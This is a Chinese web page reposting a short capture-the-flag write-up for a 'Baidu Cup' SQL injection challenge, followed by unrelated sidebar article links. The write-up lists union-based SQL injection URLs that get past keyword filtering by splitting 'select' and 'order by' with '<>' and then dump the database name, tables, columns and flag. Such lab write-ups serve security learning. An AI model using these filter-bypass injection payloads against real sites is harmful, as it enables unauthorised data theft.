当前位置:网站首页>“百度杯”CTF比赛 九月场,Web:SQL
“百度杯”CTF比赛 九月场,Web:SQL
2022-07-05 13:00:00 【Part 02】
题目内容:
出题人就告诉你这是个注入,有种别走!
看 URL
/index.php?id=1
测过滤
没有过滤: ' 空格 #
被过滤: order by,select
测能否绕过
/**/
1 ord/**/er by 3%23
<>
1 ord<>er by 3%23 有回显
1 ord<>er by 4%23 无回显
?id=-1 union sel<>ect 1,2,3%23
?id=-1 union sel<>ect 1,database(),3%23
?id=-1 union sel<>ect 1,table_name,3 from information_schema.tables where table_schema=database()%23
?id=-1 union sel<>ect 1,column_name,3 from information_schema.columns where table_schema=database()%23
?id=-1 union sel<>ect 1,flAg_T5ZNdrm,3 from info%23
边栏推荐
- Didi open source Delta: AI developers can easily train natural language models
- 同事半个月都没搞懂selenium,我半个小时就给他整明白!顺手秀了一波爬淘宝的操作[通俗易懂]
- 《2022年中國銀行業RPA供應商實力矩陣分析》研究報告正式啟動
- RHCSA8
- How to realize batch sending when fishing
- #从源头解决# 自定义头文件在VS上出现“无法打开源文件“XX.h“的问题
- Notion 类笔记软件如何选择?Notion 、FlowUs 、Wolai 对比评测
- Small case of function transfer parameters
- 【每日一题】1200. 最小绝对差
- Introduction to sap ui5 flexiblecolumnlayout control
猜你喜欢
Shi Zhenzhen's 2021 summary and 2022 outlook | colorful eggs at the end of the article
Talk about my drawing skills in my writing career
Datapipeline was selected into the 2022 digital intelligence atlas and database development report of China Academy of communications and communications
潘多拉 IOT 开发板学习(HAL 库)—— 实验7 窗口看门狗实验(学习笔记)
CloudCompare——点云切片
I'm doing open source in Didi
使用 jMeter 对 SAP Spartacus 进行并发性能测试
leetcode:221. 最大正方形【dp状态转移的精髓】
SAP SEGW 事物码里的 ABAP Editor
Introduction aux contrôles de la page dynamique SAP ui5
随机推荐
ABAP editor in SAP segw transaction code
[cloud native] use of Nacos taskmanager task management
RHCSA4
Discussion on error messages and API versions of SAP ui5 getsaplogonlanguage is not a function
Binder通信过程及ServiceManager创建过程
手把手带你入门Apache伪静态的配置
Rocky基础命令3
百日完成国产数据库opengausss的开源任务--openGuass极简版3.0.0安装教程
##无监控,不运维,以下是监控里常用的脚本监控
关于 Notion-Like 工具的反思和畅想
跨平台(32bit和64bit)的 printf 格式符 %lld 输出64位的解决方式
LeetCode20.有效的括号
Apicloud studio3 API management and debugging tutorial
无密码身份验证如何保障用户隐私安全?
国际自动机工程师学会(SAE International)战略投资几何伙伴
使用 jMeter 对 SAP Spartacus 进行并发性能测试
Talking about fake demand from takeout order
Rocky基础知识1
DataPipeline双料入选中国信通院2022数智化图谱、数据库发展报告
APICloud Studio3 API管理与调试使用教程